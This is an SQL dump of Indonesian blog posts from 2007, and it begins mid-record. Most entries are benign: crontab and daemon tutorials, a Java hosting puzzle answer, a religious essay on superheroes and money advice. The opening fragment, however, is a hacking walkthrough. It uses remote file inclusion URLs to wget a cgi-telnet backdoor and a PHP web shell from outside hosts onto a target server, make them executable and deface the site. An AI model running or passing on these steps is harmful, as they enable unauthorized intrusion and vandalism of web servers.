/var/www/cgi-bin/test.pl \"\r\nurl diatas untuk melakukan wget cgi-telnet test.pl ke server target dan hasil wget disimpan di folder /var/www/cgi-bin dg nama file test.pl. sesuaikan dengan letak folder cgi-bin didalam server tersebut untuk menyimpan hasil wget cgi-telnetnya.\r\n2. buat cgi-telnet test.pl jadi file eksekusi :\r\n\" http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=chmod 755 /var/www/cgi-bin/test.pl \"\r\n3. akses cgitelnet kita dengan membuka url :\r\n\" http://www.target.com/cgi-bin/test.pl \"\r\nmasukkan passwordnya \"n0fr13\"\r\n\r\nIII. install shell php\r\n1. buat url seperti ini :\r\n\"http://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=wget http://emilroni.port5.com/mail.php -O log.php \"\r\nurl diatas utk melakukan wget ke server target dan hasil wget berupa file log.php. bila keluar pesan \"permission denied\" cari lah folder lain yang bisa untuk wget shell.php kita.\r\n2. akses shell php kita sesuai dengan foldernya :\r\n\" http://www.target.com/target/log.php \"\r\n\r\nIV. Deface\r\nhttp://www.target.com/target/index.php?filename=http://www.geocities.com/inul_asoy/injex.txt?&cmd=echo \"K-159 and crew was touch your system\" > test.html\r\n\r\nthats all my friends. just try it !!! BUT DONT TRY ON MY SERVER -_-',1,1,9);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (28,'2007-08-14 12:53:22','Free Hosting JAVA Server(myjavaserver.com)','Free Hosting JAVA Server(myjavaserver.com)\r\n\r\nSebenarnya udah lama registrasi di hosting ini, kepengen jelasin karena iseng aja. Dulu waktu registrasi ke server hosting java ini dikasih pertanyaan. Waduh pusing bahasa inggris pusingnya minta ampun, tp setelah dibaca 10 kali baru paham. Hehe\r\n\r\nBagi yang ngerasa gak DONG dengan pertanyaan yang diajukan dan kepengan segera mengupload project javanya hehe, ini jawaban pertanyaan yang di ajukan ama <a href = \'http://myjavaserver.com\'>http://myjavaserver.com</a> <b>MET MENCOBA</b>\r\n\r\npublic class HandlerFactory\r\n{\r\n public String getHandler(String[] config, String requestUri)\r\n {\r\n\r\n String str = \"\";\r\n String strRet = \"PFPfWZA\";//ini adalah contoh string yang dikasih oleh www.myjavaserver.com.\r\n for(int i=0;i < config.length; i++){\r\n if(requestUri.startsWith(config[i])) {\r\n if(config[i].length()>=str.length()) {\r\n str = config[i];\r\n strRet = config[i+1];\r\n }\r\n }\r\n }\r\n \r\n return strRet;\r\n\r\n } \r\n} ',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (29,'2007-08-15 11:54:28','Crontab','Hihiii, karena tutorial cara bikin daemon dilinux hilang..! pas ada orang nyebutin CRON, tuing-tuing ide pada bertaburan masuk kedalam otak ku. Biar gak lupa ini referensinya. Met mencoba..!\r\n\r\nEh saya punya tips nih, jadi memungkinkan kita untuk bikin DAEMON di linux dengan berbagai macam jenis Programing\r\n\r\nSaya misalkan program dijalankan setiap 1 jam\r\n1. Untuk menjalankan script PHP\r\n\r\n0 * * * * php /var/www/htdoc/mamat/tes.php\r\n\r\n2. Untuk menjalankan script JAVA\r\n\r\n0 * * * * java /home/mamat/tes.class\r\n--------------------------------------------------------\r\n\r\nCrontab-ilmuit\r\n\r\nApa itu Cron?\r\nCron atau \'cron daemon\' ialah tugas yang dilakukan oleh komputer secara automatik. Kemudahan cron boleh didapati dalam sistem operasi Unix dan Linux bagi melakukan sesuatu tugas pada waktu tertentu tanpa melibatkan pengguna. Cron tab atau \'Cron Table\' pula ialah fail teks yang mengandungi beberapa fungsi cron.\r\n\r\nCron amat berguna jika anda ingin menghantar email kepada pelanggan anda pada waktu tertentu, membuang ahli, mengurus mailing list, memproses skrip, memeriksa pautan yang terdapat di dalam link exchange dan sebagainya.\r\n\r\nUntuk menyunting fail crontab, gunakan arahan ini:\r\n\r\ncrontab -e\r\n\r\nArahan Perintah\r\n$ crontab -e\r\n\r\n\r\nUntuk membuang fail crontab, anda hanya perlu menggunakan arahan:\r\n\r\ncrontab -r\r\n\r\nArahan Perintah\r\n$ crontab -r\r\n\r\n\r\nSecara asasnya, format cron adalah seperti berikut:\r\n\r\nMinit Jam Haribulan Bulan Hariminggu arahan\r\n\r\nMinit: 0-59\r\nJam: 0-23\r\nHaribulan: 1-31\r\nBulan: 1-12\r\nHariminggu: 0-6\r\n\r\nUntuk menerangkan cara penggunaan, saya lebih gemar menunjukkan anda contoh-contoh di bawah berikut, di mana saya akan memproses skrip send.cgi. Skrip ini akan menghantar email kepada ahli-ahli saya:\r\n\r\nProses setiap minit\r\n\r\n* * * * * arahan\r\n\r\nLihat contoh di bawah ini, skrip send.cgi akan diproses setiap minit:\r\n\r\nKOD\r\n* * * * * /home/username/www/cgi-bin/members.cgi\r\n\r\n\r\nProses setiap 10 minit\r\n\r\n0,10,20,30,40,50 * * * * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 10 minit:\r\n\r\nKOD\r\n0,10,20,30,40,50 * * * * /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses setiap 1 jam\r\n\r\n0 * * * * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 1 jam:\r\n\r\nKOD\r\n0 * * * * /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses pada pukul 7:30 a.m\r\n\r\n30 7 * * * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 7:30 a.m:\r\n\r\nKOD\r\n30 7 * * * /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses pada pukul 12:30 tengah malam\r\n\r\n30 0 * * * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 12:30 tengah malam:\r\n\r\nKOD\r\n30 0 * * * /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses pada pukul 4:15 p.m\r\n\r\n15 16 * * * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 4:15 p.m:\r\n\r\nKOD\r\n15 16 * * * /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses pada pukul 4:30 p.m (hari pertama setiap bulan)\r\n\r\n30 16 1 * * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 4:30 p.m (hari pertama setiap bulan):\r\n\r\nKOD\r\n30 16 1 * * /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses pada pukul 3:30 p.m setiap Isnin\r\n\r\n30 15 * * mon arahan\r\n\r\nSkrip send.cgi akan diproses setiap 3:30 p.m setiap Isnin:\r\n\r\nKOD\r\n30 15 * * mon /home/username/www/cgi-bin/send.cgi\r\n\r\n\r\nProses pada pukul 7:30 a.m setiap 25hb Desember\r\n\r\n30 7 25 12 * arahan\r\n\r\nSkrip send.cgi akan diproses setiap 7:30 a.m setiap 25hb Desember:\r\n\r\nKOD\r\n30 7 25 12 * /home/username/www/cgi-bin/send.cgi\r\n\r\n<h3>Referensi Lain bila gak sempat coding cgi-nya</h3>\r\nIntroducing Cron\r\nGetting PHP and Cron to Work Together\r\n\r\nBy Aaron Brazell Reader Rating: 7.7\r\n\r\nManipulate strings of data. Query an assortment of databases. Send multi-part mail messages. Parse XML.\r\n\r\nWe’ve all heard of the many powerful and efficient uses for PHP as a Web language. But you can combine PHP with other tools to achieve a range of different results. One of those tools is Cron.\r\nWhat is Cron?\r\n\r\nCron is very simply a Linux module that allows you to run commands at predetermined times or intervals. In Windows, it’s called Scheduled Tasks. The name Cron is in fact derived from the same word from which we get the word chronology, which means order of time.\r\n\r\nUsing Cron, a developer can automate such tasks as mailing ezines that might be better sent during an off-hour, automatically updating stats, or the regeneration of static pages from dynamic sources. Systems administrators and Web hosts might want to generate quota reports on their clients, complete automatic credit card billing, or similar tasks. Cron has something for everyone!\r\nThe PHP Script\r\n\r\nBefore we can even think of running a program, we will need a script to run. This script could be anything, but for the sake of this tutorial, let’s deal with a little mailing script. Imagine, for instance, you’re a stockholder of McDonald’s. You eat there every day -- breakfast, lunch, and dinner. You even make sure to have a McDonald’s employee wipe your seat before you sit down to enjoy your Super Sized Happy Meal, because, after all, you’re a stockholder!\r\n\r\nSo you write a script that checks the Dow Jones report every day after the closing bell rings at 4:00 pm. Because you’re a busy person and can’t afford to take a moment away from your PHP coding, you want to have this figure emailed to you. Let’s call this variable $mcdonalds. It will be fed to your mail script from a file called checkstock.php.\r\n\r\nThis is what this file (mailstock.php) might look like:\r\n\r\n<?php\r\n// mailstock.php\r\ninclude(\'checkstock.php\');\r\nmail(\'your@email.com\',\'McDonalds Stock\',\'Stock Price: \'.$mcdonalds,\'From:you@example.com\');\r\n?>\r\n\r\nAs this is simply an illustrative example, the details of checkstock.php are beyond the scope of this discussion.\r\nBreaking Cron Down\r\n\r\nNow, let’s try to set up the automated running of mailstock.php. If you are a systems administrator, you’ll be able to interface directly with Cron. On a standard Redhat setup, jobs are executed from /etc/crontab at predetermined intervals. We set thee intervals from within four directories that sort the jobs into hourly, daily, weekly, and monthly intervals.\r\n\r\nSometimes, however, you may want to execute a script overnight, on a weekend, or at some other time at which the server is not likely to be under a great deal of strain. This is where the crontab program comes into play. This executable is actually a go-between that exists between the users, who do not have permissions over the Cron folders and files, and the system that’s needed to run the Cron jobs.\r\n\r\nMany hosts provide a GUI to administer the Cron jobs. This can simplify the setting up of Cron jobs, however, in the interests of understanding the nuts and bolts of this process, in this tutorial we’ll look at cron jobs from the command line perspective. We will approach this from the point of view of a normal user, but the process is essentially identical for System Administrators as well.\r\n\r\nThe easiest way to use crontab is via the crontab command.\r\n\r\n# crontab –e\r\n\r\nThis command ‘edits’ the crontab. Upon employing this command, you will be able to enter the commands that you wish to run. My version of Linux uses the text editor vi. You can find information on using vi here.\r\n\r\nThe syntax of this file is very important – if you get it wrong, your crontab will not function properly. The syntax of the file should be as follows:\r\n\r\nminutes hours day_of_month month day_of_week command\r\n\r\nAll the variables, with the exception of the command itself, are numerical constants. In addition to an asterisk (*), which is a wildcard that allows any value, the ranges permitted for each field are as follows:\r\n\r\n * Minutes: 0-59\r\n * Hours: 0-23\r\n * Day_of_month: 1-31\r\n * Month: 1-12\r\n * Weekday: 0-6 \r\n\r\nWe can also include multiple values for each entry, simply by separating each value with a comma.\r\n\r\ncommand can be any shell command and, as we will see momentarily, can also be used to execute a Web document such as a PHP file.\r\n\r\nSo, if we want to run a script every Tuesday morning at 8:15 AM, our mycronjob file will contain the following content on a single line:\r\n\r\n15 8 * * 2 /path/to/scriptname\r\n\r\n\r\nThis all seems simple enough, right? Not so fast! If you try to run a PHP script in this manner, nothing will happen (barring very special configurations that have PHP compiled as an executable, as opposed to an Apache module). The reason is that, in order for PHP to be parsed, it needs to be passed through Apache. In other words, the page needs to be called via a browser or other means of retrieving Web content.\r\n\r\nFor our purposes, I’ll assume that your server configuration includes wget, as is the case with most default configurations. To test your configuration, log in to shell. If you’re using an RPM-based system (e.g. Redhat or Mandrake), type the following:\r\n\r\n# wget --help\r\n\r\nIf you are greeted with a wget package identification, it is installed in your system.\r\n\r\nYou could execute the PHP by invoking wget on the URL to the page, like so:\r\n\r\n# wget http://www.example.com/file.php\r\n\r\nNow, let’s go back to the mailstock.php file we created in the first part of this article. We saved it in our document root, so it should be accessible via the Internet. Remember that we wanted it to run at 4PM Eastern time, and send you your precious closing bell report? Since I’m located in the Eastern timezone, we can go ahead and set up our crontab to use 4:00, but if you live elsewhere, you might have to compensate for the time difference when setting this value.\r\n\r\nThis is what my crontab will look like:\r\n\r\n0 4 * * 1,2,3,4,5 wget http://www.example.com/mailstock.php\r\nAdding the Command to Cron\r\n\r\nOkay, so we have a text file. Now what? Now we have to add the text file bearing the crontab to the list of scheduled items. To do that, we simply need to invoke the crontab command.\r\n\r\n# crontab stockcron\r\nSummary\r\n\r\nThere are literally tons of things that can be done with PHP, and as many that can be performed with Cron. Hopefully this gives you a brief overview of some of the possibilities.\r\n\r\nYou can actually combine more elaborate PHP schemes into a single cron job simply by executing them via a single PHP file. As I mentioned before, it’s even possible to bypass wget by using PHP as a shell scripting language. This would require PHP to be compiled as a standalone binary, and that would bring with it a number of risks, but it can (and has!) been done.\r\n\r\nThe bottom line is that anything you can accomplish with PHP, you can likely automate with Cron. Happy coding!',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (30,'2007-08-16 22:47:27','Bikin Daemon di LINUX/UNIX pakek C','OK berhubung kemarin udah coba-coba bikin demon pakek crontab, huuh ternyata kurang puas juga karena crontab cuma bisa request minimal 1 menit aja. Waah jadi pusing klo butuh requestnya untuk waktu 10 detik misal.\r\n\r\nJadi artikel bikin demon ini aq tulis berdasarkan pengalaan coding. Untuk itu aq perlu waktu 3 hari untuk menyelesaikan artikel ini. Yaaah karena mesti begadang dulu untuk mencobak artikel-artikel yang udah terkumpul, klo diliat-liat gampang kok, jadi sabar yak untuk 3 hari ini MAMAT ZONE artikelnya gak akan ada yang baru\r\n\r\nWah ternyata gak butuh 3 hari, sekali coba langsung lancar. Ini soalnya tutorialnya complete and clear. Ini Tutorial yang saya pelajari mudah-mudahan bermanfaat.\r\n\r\n<a href = \'http://www.cs.cf.ac.uk/Dave/C/node22.html#SECTION002220000000000000000\' target=\'_blank\'>http://www.cs.cf.ac.uk/Dave/C/node22.html</a>',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (31,'2007-08-20 11:19:19','Super Hero Sejati','Superhero Sejati \r\nSTUDIA Edisi 355/Tahun ke-8 (20 Agustus 2007)\r\n \r\n\r\nMulai awal bulan Agustus 2007 ini, salah satu stasiun televisi swasta di negeri ini menggelar film serial televisi Heroes yang konon kabarnya heboh di Amrik sono sejak tahun 2006 lalu. Yup, kita jadi tambah kenalan superhero macam Nathan Petrelli (Adrian Pasdar), Peter Petrelli (Milo Ventimiglia), Angela Petrelli (Cristine Rose), Claire Bennet (Hayden Panettiere), Hiro Nakamura (Masi Oka), Ando Masahashi (James Kyson Lee), dan jagoan superhero lainnya dalam serial televisi ini.\r\n\r\nDi film ini ada superhero yang lentur banget tulangnya. Lehernya bisa berputar sampe 360 derajat. Jadi kalo kecelakaan di bagian leher tetep aman. Ada yang bisa terbang dengan kecepatan bak meteor, ada yang bisa ninju orang ampe mental dengan tenaga dalam yang super-duper (eh, istilah ini mah buat makanan atuh ya, karena arti kiasan dari super-duper adalah enak sekali).\r\n\r\nPara pahlawan super ini kayaknya kian melengkapi jagoan khayalan dari negeri Ajo Rijal, eh, Ajo Sam ini (backsound: kalo Ajo Rijal sih identik ama Sate Padang ya?). Superhero yang udah kita kenal banget sejak kecil adalah Superman, Batman, Captain America, Spiderman, terus gerombolan mutan macam Wolverine, Cyclops, Magneto, Profesor Xavier, dll yang tergabung dalam komunitas X-Men.\r\n\r\nSuperhero jadi-jadian alias khayalan ini memang menghibur siapa pun. Punya kelebihan dan keahlian yang bisa diandelin untuk melawan kejahatan dan menegakkan keadilan. Masyarakat Amerika barangkali udah jenuh dengan kondisi hidup mereka yang diliputi rasa cemas karena banyaknya kejahatan, sementara pihak-pihak yang seharusnya memberikan perlindungan malah cuek aja (backsound: jadi inget film jaman baheula yang diputer di televisi: LA Law yang berkisah kalo hukum di negara kapitalis Amerika sana bisa dijual-beli alias ada mafianya. Pantes aja yang banyak duit jadi kebal hukum, yang kismin, eh miskin mah harus rela nggak dapet perlindungan).\r\n\r\nNah, kejadian-kejadian seperti itu yang terus berulang akhirnya menginspirasi orang-orang kreatif untuk berkarya. Kalo Winston Groom membesut karya fenomenalnya, Forrest Gump yang menyindir Amerika secara ‘pelan-pelan’ dari berbagai sudut kehidupan (pernah difilmkan dengan judul sama. Forrest Gump diperani oleh Tom Hanks), maka tim kreatif di DC Comics mengeluarkan Superman, Batman, Wonder Woman, dan The Flash. Nggak ketinggalan tim kreatifnya Marvel Comics (Marvel Enterprises Inc.) menciptakan superhero Spiderman, Captain America, the X-Men, the Fantastic Four, dan the Incredible Hulk, serta superhero imajiner lainnya.\r\n\r\nMeski awalnya sekadar hiburan, tapi sangat boleh jadi keberadaan para superhero itu terinspirasi dari kehidupan masyarakat Amerika yang mendambakan para pahlawan yang bisa memberi perlindungan kepada mereka. Siapa tahu kan? Iya kan?\r\n\r\nOkelah, terlepas dari asal-usulnya penciptaan para superhero itu, yang jelas bahwa saat ini hampir di seluruh dunia superhero tersebut menjadi idola anak-anak, bahkan sejak jaman kakek-nenek kita anak-anak. Maklum, Marvel Comics udah ada sejak tahun 1932, Bro. Sekadar tahu aja, pada tahun 1941 Joe Simon dan Jack Kirby menciptakan Captain America dengan maksud sebagai bentuk ‘perlawanan’ terhadap Nazi Jerman waktu itu. Laku banget dah komik tersebut. Tuh kan, kayaknya kakek-nenekmu waktu mereka anak-anak juga pernah mengidolakan superhero ini.\r\n\r\nSobat, sekarang kayaknya kita perlu bertanya: mengapa kita perlu pahlawan, bahkan bila perlu superhero?\r\n\r\nIdola sekaligus inspirator\r\nSuperhero diciptakan sangat boleh jadi tujuannya adalah untuk menjadi idola kaum lemah dan pelindung mereka yang tak berdaya. Why? Sebab, manusia itu beda-beda kekuatannya, beda-beda kondisinya, beda-beda ketahanannya, beda-beda emosinya, termasuk beda-beda nasibnya. Begitulah manusia diciptakan.\r\n\r\nItu sebabnya, dengan potensi kehidupan yang seperti itu, manusia itu akan saling terinspirasi, saling terpengaruh, dan saling membantu satu sama lain. Mereka yang dinilai memiliki kelebihan, pasti menjadi andelan. Hmmm.. jadi inget film-film laga yang diperankan Barry Prima, George Rudy, Johan Saimima dan Advent Bangun yang menjadi idola anak-anak dan remaja di tahun 1980-an. Mereka kuat, gagah dan mahir olah kanuragan. Di film-film selalu jadi bintang utama dan selalu menang (kecuali Advent bangun kali ye, yang sering kebagian peran penjahat—meski jago berantem ya tetep aja ujungnya sih harus kalah sesuai tuntutan skenario hehehe…).\r\n\r\nSobat muda muslim, setiap orang pasti mencari sosok yang bisa dijadikan idola bagi dirinya masing-masing. Setidaknya bisa mewakili perasaannya, mewakil pendapatnya, mewakili keinginannya, dan mewakili cita-citanya. Yup, sang idola akan menjadi inspirator orang yang mengidolakannya. Bukan tak mungkin pula kan ada orang yang mengidolakan superhero macam Spiderman dan Superman, karena dianggapnya bisa menolong penderitaannya dan merasa tenang jika ada superhero tersebut di sampingnya. Iya kan?\r\n\r\nNah lho, superhero idolanya kok superhero khayalan sih? Memangnya nggak ada yang nyata? Maksudnya bukan legenda apalagi mitos gitu lho. Ada faktanya.\r\nHehe.. ada sih. Yup, meski kita nggak pernah ketemu langsung sama Tjut Nyak Dien, tapi insya Allah kita yakin bahwa Tjut Nyak Dien bukanlah tokoh fantasi. Tapi nyata adanya.\r\n\r\nTerus, apakah superhero tersebut bisa menjadi inspiratormu dalam beraktivitas dalam kehidupan sehari-hari?\r\nYes! Seharusnya memang demikian. Seorang hero bisa memberikan semangat kepada ‘pengikutnya’. Kita pasti tahu bagaimana kuatnya kharisma Tjut Nyak Dien ketika berjuang menggelorakan semangat rakyat Aceh untuk berjuang melawan Belanda yang waktu itu sebagai penjajah. Semangatnya mampu menyebar di dada para pejuang Aceh.\r\n\r\nKalo sekarang mungkin yang jadi hero adalah orang yang bisa memberikan inspirasi dalam hidup kita. Untuk lebih percaya diri, untuk lebih bisa tenang menjalani hidup karena merasa ada orang yang mampu dijadikan rujukan dalam berbuat dan bertindak. Karena jujur aja nih, kita sering ingin banget dapetin ‘pembenaran’ dan dukungan atas apa yang kita lakukan. Salah satunya dengan kita mengikuti gaya hero yang kita teladani.\r\n\r\nSekalian bisa bilang ke orang-orang, bahwa apa yang kita lakuin memang ada teladannya, yakni hero kita itu. Sehingga orang lain bisa ngeh dengan apa yang kita lakuin dan menganggap wajar karena ngikutin idola kita yang udah teruji keteladanannya di mata banyak orang. Tentu teladan dalam kebenaran dong.\r\n\r\nOya, yang terpenting agar kita bisa meneladani sang hero, maka hero yang kita pilih adalah yang benar dan bagus. Yang tentunya lebih baik dari kita. Bisa dipercaya, bisa dijadikan rujukan dalam kebaikan. Terlebih, seorang hero tuh harus mampu memberi inspirasi yang baik buat kita. Hmm.. jika tipe hero yang diinginkan seperti itu, tentu bukan yang ecek-ecek dong ya. Kelasnya lain. Berarti tuh hero kudu menjadi inspirator ulung bagi setiap calon pengikutnya. Inspirator dalam melakukan kebenaran dan kebaikan tentunya. Kebenaran Islam dan kebaikan Islam, gitu lho.\r\n\r\nSuperhero “made in” Islam\r\nIslam sejak lama sudah menjadi magnet kuat bagi manusia yang cinta kebenaran. Sosok Muhammad saw. pasti salah satu daya tariknya. Para sahabat menjadikan beliau guru, sahabat, sekaligus hero dalam kehidupannya.\r\n\r\nAllah Swt. menegaskan dengan sangat jelas dalam firmanNya (yang artinya): “Sesungguhnya telah ada pada (diri) Rasulullah itu suri teladan yang baik bagimu (yaitu) bagi orang yang mengharap (rahmat) Allah dan (kedatangan) hari kiamat dan dia banyak menyebut Allah.” (QS al-Ahzab [33]: 21)\r\nBahwa Rasulullah saw. adalah manusia yang telah diberi ‘ishmah atas dosa-dosa beliau, baik yang lalu maupun yang akan datang, itu telah jelas. Tapi itu bukan berarti kita tidak mampu dan tidak akan pernah bisa mengikutinya. Justru tujuan pengangkatan beliau sebagai utusan Allah adalah untuk memberi teladan, contoh serta pemahaman kepada kita akan mulianya ajaran Islam. Firman Allah Swt. (yang artinya):”(Mereka kami utus) selaku rasul-rasul pembawa berita gembira dan pemberi peringatan agar supaya tidak ada alasan bagi manusia membantah Allah sesudah diutusnya rasul-rasul itu. Dan adalah Allah Maha Perkasa lagi Maha Bijaksana.” (QS an-Nisaa’ [4]: 165)\r\n\r\nArthur Glyn Leonard menuliskan dalam bukunya bahwa Muhammad saw. adalah: “Seorang laki-laki yang bukan saja besar, tapi salah seorang yang terbesar … yang paling besar … yang dihasilkan kemanusiaan. Pembangunan material dan spiritual yang membangun suatu bangsa yang besar, suatu empirium besar, dan bahkan lebih dari segalanya ini, suatu agama yang lebih besar lagi.” (Major Arthur Glyn Leonard, Islam, Her Moral and Spiritual Value)\r\nMuhammad saw. menginspirasi banyak manusia. Islam yang dibawanya mampu menjadi sumber keberanian dan motivasi dalam hidup, maka banyak dari pengikut Muhammad saw. yang tadinya manusia biasa menjadi luar biasa. Mereka menjadi hero di antara para hero dan tentunya layak dan pantas kita jadikan hero dalam kehidupan kita dengan cara meneladaninya. Yup, ‘mencontek’ gaya hidupnya dan prinsip hidupnya yang memang keren itu.\r\n\r\nNah, ada beberapa superhero ‘made in’ Islam yang bisa kita kenal adalah Khalid bin Walid. Beliau adalah mantan panglima perang kafir Quraisy ketika memukul mundur pasukan kaum muslimin di Perang Uhud, ternyata kemudian terpesona dengan Islam dan mengubah dirinya dari hero jahat menjadi hero baik di jalan kebenaran Islam.\r\n\r\nSosok Usamah bin Zaid yang masih muda usia melambung namanya setelah menjadi panglima perang pada usia 18 tahun. Salman al-Farisi yang semula penyembah api, lalu masuk Islam dan menjadi sosok hero buat kita yang bisa diandalkan. Ali bin Abi Thalib yang gagah berani, cerdas, ahli fikih dan pernah menjadi khalifah (kepala negara Islam) juga layak kita jadikan teladan dalam hidup kita.\r\n\r\nAda lagi yan lain? Masih banyak, Bro. Masih ribuan sosok hero yang berhasil ‘diproduksi’ Islam sebagai ideologi yang udah menyelamatkan banyak manusia. Tapi, maaf ya nggak bisa ditulis satu persatu di sini.\r\n\r\nIntinya nih, kita bisa meneladani hero-hero yang lahir dari rahim Islam. Bahkan, jika kita meneladani mereka, terus kita ‘menjerumuskan’ diri kepada Islam dengan sepenuh hati, suatu saat—cepat atau lambat, insya Allah pasti kita jadi hero pula. Menjadi teladan buat anak-cucu kita. Teladan dalam dakwah dan perjuangan menegakkan Islam. Inilah sosok hero yang sebenarnya, bahkan boleh dibilang superhero sejati. Karena riil dan tentu saja bukan khayalan belaka. [solihin: www.osolihin.wordpress.com]',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (32,'2007-08-21 13:10:59','GIGI - 11 Januari','Huuh, kenapa sih musti Januari. Mungkin banyak orang yang bikin cinta di bulan ini dan putus cinta di bulan ini hehe.[backsound-kacian deh lu]\r\n\r\nTapi gak papa, GIGI - 11 Januari banyak yang cari nih lagu . Ok yang pengen dengerin MP3nya nih, tapi minimal aksesnya harus 15 kb/s klo gak cukup yah siap-siap aja putus-putus hehe :P.\r\n<embed quality=\"high\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" bgcolor=\"#FFFFFF\" width=\"130\" height=\"180\" src=\"http://res0.esnips.com/escentral/images/widgets/flash/guitar_test.swf\" flashvars=\"autoPlay=no&amp;theFile=http://www.esnips.com//nsdoc/03c63c17-a356-42b8-8126-653f36dcde9a&amp;theName=Gigi - 11 Januari&amp;thePlayerURL=http://res0.esnips.com/escentral/images/widgets/flash/mp3WidgetPlayer.swf\"></embed></td></tr><tr><td style=\"font-size:11px\" valign=\"bottom\" align=\"center\">\r\n<a href=\"http://www.esnips.com/doc/03c63c17-a356-42b8-8126-653f36dcde9a/Gigi---11-Januari/?widget=flash_player_guitar\">Buat yang pengen DOWNLOAD</a>\r\nOK met dengerin, soalnya bingung mau ngisi artikel apa hari ini hehe. Yaah ini hasil iseng-iseng denger radio eh keren juga. Good SONG GIGI...! :D\r\n',1,0,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (33,'2007-08-22 09:51:26','Cobalah Bekerja Bukan karena \"UANG\"','Cobalah Bekerja Bukan karena \"UANG\"\r\n\r\nYuup, itulah ilmu yang saya dapatkan dan berkesan ketika membaca buku,\r\n\r\n\"Siapa Bilang Jadi Karyawan Nggak Bisa Kaya\"\r\n5 Kiat Praktis Mengolola Gaji agar Bisa Kaya\r\noleh : Safir Senduk\r\npenerbit : Elex Media Komputindo\r\n\r\nIntinya, Kalau anda bekerja, cobalah tidak haya untuk alasan uang, tapi bekerjalah untuk bisa memiliki teman-teman baru atau mendapatkan keahlian baru. Prinsipnya, jangan mencoba bekerja hanya demi \"uang\" saja. Pasti hidup anda akan membosankan, hehe(yang merasa pasti tertawa :D).\r\n\r\nPak Safir Senduk dalam bukunya ini sering mengatakan. Sekali lagi, saya katakan bahwa Anda akan tetap bisa kaya dengan mengelola gaji. Akan tetapi, mengharapkan gaji besar? <b>No way</b>. Bukan gak bisa, tapi ingat, bukan Anda yang menentukan jumlah gaji yang Anda dapatkan.\r\n\r\nApa yang harus Anda lakukan, kalau Anda tidak bekerja hanya untuk uang? Jawabannya: miliki sumber penghasilan lain di luar gaji Anda sekarang. Dengan demikian, kalau Anda mengalami hal buruk dengan gaji Anda, Anda sudah mempunyai back up penghasilan. Kalau perlu, atau kalau bisa, usahakan agar penghasilan lain tersebut didapat secara terus-menerus.\r\n\r\nSumber penghasilan lain seperti apa yang bisa didapatkan secara terus-menerus?\r\nKatanya Pak Safir nih..!\r\n\r\nPertama, tentu saja bisnis. Anda bisa mencari peluang bisnis yang mungkin dapat dijalankan tanpa menganggu waktu kerja Anda, seperti investasi di usaha teman atau orang lain, membuka warung makan yang dijalankan oleh Kakak yang pinter masak, atau mbukak wartel atau warnet kecil yang dioperasikan temen. Memang untuk awalnya, penghasilan dari sumber itu mungkin nggak besar-besar amat. Akan tetapi, yang penting harapan Anda kan mereka bisa terus-menerus ngasih pengahasilan. \r\n\r\nAlternatif kedua, kalau Anda menginginkan sumber pengahsilan yang memberikan hasil secara terus-menerus, milikilah produk-produk investasi yang bisa memberikan pendapatan Tetap untuk Anda, seperti Deposito, Reksadana, Saham, dan lain-lain.\r\n\r\nIngat...!(kata pak senduk lagi nih). Merintis jauh lebih baik daripada tidak sama sekali. Namanya juga sedang membangun sumber pasive income, alias income yang didapat tidak mengharuskan kita untuk aktif bekerja. Kalau mempunyai passive income yang bagus anda bisa lebih tenang bekerja di tempat sekarang. Konsentrasi anda tidak harus tergnggu oleh masalah gaji yang dirasa kecil, padahal sebetulnya tidak. Ingat tugas perusahhaan bukanlah MENYEJAHTERAKAN Anda(woh yaa), tapi memberikan imbalan yang pantas sesuai dengan JOB DESC Anda. Anda hanya perlu mengusahakan untuk memiliki satu sumber penghasilan lagi yang mudah-mudahan bisa dijadikan passive income.\r\n\r\nPassive Income ini awalnya mungkin memang kecil, tapi lama-kelamaan kita harpakan jumlahnya bisa semakin besar dan besar. Selain itu, dengan memiliki sumber penghasilan lain yang diusahakan bisa menjadi passive income, Anda bisa mengantisipasi resiko hilangnya sumber penghasilan dari pekerjaan Anda sebagai karyawan.\r\n\r\nKESIMPULAN, dari BUKU ini adalah Lima kiat dalam mengeloala gaji aga Anda bisa kaya\r\n\r\nKiat 1: Beli dan Miliki Sebanyak Mungkin Harta Produktif, seperti Deposito, Reksadana, Saham, Obligasi, dan lain-lain.\r\n\r\nKiat 2: Atur Pengeluaran Anda, karena pengeluaran itu kan standart misal: listrik, air, makan, spp tetap, spp variabel, dan lain. Khusus buat Mamat kebayakan tuh pengeluaran untuk uang kaget, uang kaget beli gorengan, uang kaget beli krepik singkong, uang kaget beli ... opo hayooo..! wis leren.\r\n\r\nKiat 3: Hati-hati dengan utang, hayoo Allah sangat tidak suka bila hambanya berhutang. Kata Pak Thung Desem Waringin(penulis buku Finansial Revolusion) ada Istilah Menunda Kesenangan, yah betul juga Allah suka pada Hambanya yang bersabar jadi nabung dulu jangan hutang dulu.. OK.\r\n\r\nKiat 4: Sisihkan untuk Pos-pos Pengeluaran di Masa yang Akan Datang. 